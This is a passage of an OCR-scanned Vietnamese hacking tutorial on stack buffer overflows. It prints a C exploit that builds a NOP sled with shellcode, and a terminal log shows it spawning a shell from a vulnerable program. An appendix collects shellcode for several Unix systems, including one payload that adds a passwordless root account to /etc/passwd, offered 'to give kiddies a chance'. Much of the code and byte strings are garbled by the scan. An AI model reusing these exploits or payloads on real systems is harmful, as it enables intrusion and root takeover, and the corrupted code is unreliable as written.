printf ("Stack pointer: 0x%$x\n",esp);

printf ("Offset : 0x%x\n",offset);
printf ("Return addr : 0x%x\n",ret);
if (! (buffer=malloc (bsize)))

{
printf ("Khong the cap phat bo nho.\n");

exit (-1);
}

ptr=buffer;

addr ptr=(long *)ptr;

for (i=0;i<bsize;i+=4)
* (addr_ptr++)=ret;

for (i=0;i<bsize/2;i++)
buffer[i]=NOP;

ptr=buffer+ ((bsize/2)-(strlen(shellcode)/2));
for (i=0;i<strlen(shellcode);i++)
* (ptr++)=shellcode[i];

buffer|[bsize-1]1=0;
execl ("./vulnerable", "vulnerable",buffer,0);

[dt@localhost ~/vicki]$ cc -o vulnerable vulnerable.c
[dt@localhost ~/vicki]$ cc -o exploit exploit.c
[dt@localhost ~/vicki]$ ./exploit

Stack pointer: Oxbffffaf8

Offset : 0x0
Return addr : Oxbffffaf8
sh-2.04$

Giai thich:

Trudce hét, ching ta can xac dinh dia chi trd ve khi tran bo dém.



esp=get_esp();
ret=esp-offset;

Dia chi tré vé khi tran bo dém = ESP(dia chi bét dau cua stack) - OFFSET
. Tai sao phai trr cho offset? Bdi vi chung ta ¢6 goi ham
execl("./vulnerable","vulnerable" buffer,0); sau cung, nén ESP lic nay sé&
bi trir di mot sd bytes do chwong trinh exploit co sir dung mot sd bytes trén
stack cho cac tham sé va bién cuc bd ciia ham.Diéu nay sé& ting kha ning
dia chi trd vé tro dén mot noi ndo do6 trong buffer[] cuia vulnerable, noi ma
chiing ta s& dat NOPs va shellcode.

Quan sat stack:

| argv[] & argc |
| cua exploit |

cadc bién cuc |
bd cua exploit|

| argv[] & argc |
| cua exploit |

|
buffer[] cua |
vulnerable |
|

Chung ta can lam tran buffer[] cua vulnerable dé return addr 2 tro dén dau
do6 trong buffer[]. Cling nhu vi du 1- overflow.c(ban hdy xem lai that ki vi
du 1), chiing ta s€ tao mot vung nhé trén heap:

if (! (buffer=malloc(bsize)))
{
printf ("Khong the cap phat bo nho.\n");

exit (-1);
}

Bay gio lap day buffer bang dia chi trd vé ma chung ta da tinh duoc:

ptr=buffer;



addr ptr=(long *)ptr;
for (i=0;i<bsize;i+=4)
* (addr_ptr++)=ret;

Tiép theo chung ta sé& lip ddy 1/2 buffer bang NOPs

for (i=0;i<bsize/2;1i++)
buffer[i]=NOP;

Sau d6, chung ta dat shellcode vao gitra NOPs

ptr=buffer+ ((bsize/2)-(strlen(shellcode)/2));
for (i=0;i<strlen(shellcode);i++)
* (ptr++)=shellcode[i];

Cudi cung dat "\0' vao buffer dé ham strcpy() trong vulnerable biét da hét
data can copy.

buffer|[bsize-1]1=0;

Tién hanh 1am tran b dém cua vulnerable, ban s& c6 dugc shell 1énh do
vulnerable spawn.

execl ("./vulnerable", "vulnerable",buffer,0);

Quan sat stack, buffer[] cia vulnerable va return addr 2 sau khi tran b
dém s€ c6 dang nhu sau:

e +
| return addr2| ----- \
e + |
\ ebp 2 | |
e + |
\ | |
\ nop | |
\ ... | |
| shellcode | |
\ ... | |
\ nop | |
| nop | <-=—=/
| nop |

\ R |

e +

Chiing ta hi vong rang return addr 2 s& tro dén 1 nop trudc shellcode. Cac
cau 1énh NOPs s& khong lam gi hét, dén khi gap shellcode, shellcode s& d6
shell 1énh cho chung ta(ban hiy xem lai phan "Hinh dung cach dat
shellcode trén stack).

Phu luc



Cac loai shellcode

BSDi

char code[] =

"\xeb\x57\x5e\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e"
"\x26\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8\x31"
"\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2\x31\xc0\x88"
"\x46\x0b\x89\xf3\x83\xc0\x05\x31\xc9\x83\xcl1\x01\x31"
"\xd2\xcd\x80\x89\xc3\x31\xc0\x83\xc0\x04\x31\xd2\x88"
"\x56\x27\x89\xf1\x83\xcl\x0c\x83\xc2\x1b\xcd\x80\x31"
"\xc0\x83\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
"BIN/SH";

FreeBSD

char codel[]=
"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x
ZSXO4\X89\X76\X08\X83\XO6\X10\X83\X46\XO4\X18\X83\X46\X08\X
%?X89\X46\XOC\X88\X46\X17\X88\X46\X1a\X88\X46\X1d\X50\X56\X
ffx36\XbO\X3b\X50\X90\X9a\XOl\XOl\XOl\XOl\XO7\XO7\X68\XC4\X
ffxff\xff\XOZ\XOZ\XOZ\XOZ\XOZ\XOZ\XOZ\XOZ\XOZ\XOZ\XOZ\XOZ\X
9ixOZ\xOZ\xOZ/bin/sh.—c.sh";

Replace .sh with .anycommand
Linux x86

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\
xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\
x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

OpenBSD

OpenBSD shellcode that adds an unpassworded root login

"wOO0w00" to /etc/passwd... Courtesy of wO0w0O.

(Changed from /tmp/passwd to /etc/passwd... give kiddies
a chance ;)

char shell[]=

"\xeb\x2b\x5e\x31\xc0\x88\x46\x0b"
"\x88\x46\x29\x50\xb0\x09\x50\x31"
"\xc0\x56\x50\xb0\x05\xcd\x80\x89"
"\xc3\x6a\x1d\x8d\x46\x0c\x50\x53"
"\x50\x31\xc0\xb0\x04\xcd\x80\x31"
"\xcO0\xb0\x01\xcd\x80\xe8\xd0O\xff"
"\xEA\XEf\x2f\x65\x74\x63\x2f\x70"
"\x61\x73\x73\x77\x64\x30\x77\x30"



"\x30\x77\x30\x30\x3a\x3a\x30\x3a"
"\x30\x3a\x77\x30\x30\x77\x30\x30"
"\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f"
"\x73\x68\x0a\x30\xff\xff\xEff\xff"
X EA\XEA\XEE\XEE\XEE\XEL\XREL\XELE"

M\ EA\XEE\XEE\XEE\XEE\XEL\XEL\XELE";

Solaris / Sparc

char cOde[] =

/* setreuid() */
"\x82\x10\x20\xca"
%gl */
"\x92\x1la\x40\x09"
%0l, %ol */
"\x90\x0a\x40\x09"
%0l, %00 */
"\x91\xd0\x20\x08"
*/
"\x2d\x0b\xd8\x9%a"
$0xbd89%a, %16 */
"\xac\x15\xal\x6e"
Ox1l6e, %16 */
"\x2f\x0b\xdc\xda"
$Oxbdcda, %17 */
"\x90\x0b\x80\x0e"
%$sp, %00 */
"\x92\x03\xa0\x08"
%01l */
"\x94\x1a\x80\x0a"
%02, %02 */
"\x9c\x03\xa0\x10"
0x10, %sp */
"\xec\x3b\xbf\xf0"
[$sp - 0x10] */
"\xdc\x23\xbf\xf8"
[$sp - 0x08] */
"\xc0\x23\xbf\xfc"
[$sp - 0x04] */
"\x82\x10\x20\x3b"
%gl */
"\x91\xd0\x20\x08"

Solaris / x86
char cOde[] =

"\xeb\x0a"

*/
"\x9a\x01\x02\x03\x5c\x07\x04"
*/

"\XCB"

*/

"\xeb\x05"

*/

"\ xe8\XfO\xff\xXff\xXfE"

*/

/
/
/
/

/*

/* mov 0Oxca,
/* xor %ol,
/* and %ol,
/* ta 8

/* sethi

/* or %16,

/* sethi

/* and %sp,
/* add %sp, 8,
/* xor %02,
/* add %sp,
/* std %16,
/* st %sp,

/* st %g0,

/* mov $0x3b,

/* ta 8

jmp initcall
lcall

ret

jmp setuidcode

call jmpz



"\X5e" /* pOpl $esi
*/

"\x29\xcO" /* subl %eax, %eax
*/

"\x88\x46\xf7" /* movb %al,
Oxfffffff7 (%$esi) */

"\x89\x46\xf2" /* movl %eax,
OxXfffffff2 (%esi) */

"\x50" /* pushl %eax

*/

"\xb0\x8d" /* movb $0x8d, %al
*/

"\xe8\xeO\xff\xff\xff" /* call initlcall
*/

"\x29\xcO" /* subl %eax, %eax
*/

"\x50" /* pushl %eax

*/

"\xb0\x17" /* movb $0x17, %al
*/

"\xe8\xd6\xff\xff\xff" /* call initlcall
*/

"\xeb\x1f" /* Jmp callz

*/

"\x5e" /* popl %esi

*/

"\ x8d\xle" /* leal (%esi), %ebx
*/

"\x89\x5e\x0b" /* movl %ebx,

0x0b (%esi) */

"\x29\xcO" /* subl %eax, %eax
*/

"\x88\x46\x19" /* movb %al,

0x19 (%esi) */

"\x89\x46\x14" /* movl %eax,

0x14 (%esi) */

"\x89\x46\x0f" /* movl %eax,

0x0f (%esi) */

"\x89\x46\x07" /* movl %eax,

0x07 (%esi) */

"\xb0\x3b" /* movb $0x3b, %al
*/

"\x8d\x4e\x0b" /* leal 0x0b (%esi),
%ecx *x/

"\x51" /* pushl %ecx

*/

"\x51" /* pushl %ecx

*/

"\x53" /* pushl %ebx

*/

"\x50" /* pushl %eax

*/

"\xeb\x18" /* jmp lcall

*/

"\xe8\xdc\xff\xff\xff" /* call start

*/



"\x2f\x62\x69\x6e\x2f\x73\x68" /* /bin/sh

*/
"\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04"; /* lcall

*/

Cong cu tao shellcode "Hellkit"

Hellkit 1a mdt cong cu dung tao shellcode cho Linux rat dé dung. Hellkit
rat da nang, dac biét Hellkit con cho phép tao shellcode cé kich thudce 1én
deén 65535 bytes!

Tai liéu tham khdo

"Smashing The Stack For Fun And Profit"(phrack 49-14) - Aleph One
"Advanced buffer overflow exploits" - Tacho Oh

Do hiéu biét con nhiéu han ché nén bai viét nay khéng tranh khoi nhitng
thiéu xot, rat mong nhan dwoc sw dong gop, giup do cua cac ban dé bai

viét duoc hoan thién hon. Thanx, dt. Vicki's real fan!

Back

Nhoém Vicki - http://nhomvicki.cjb.net/



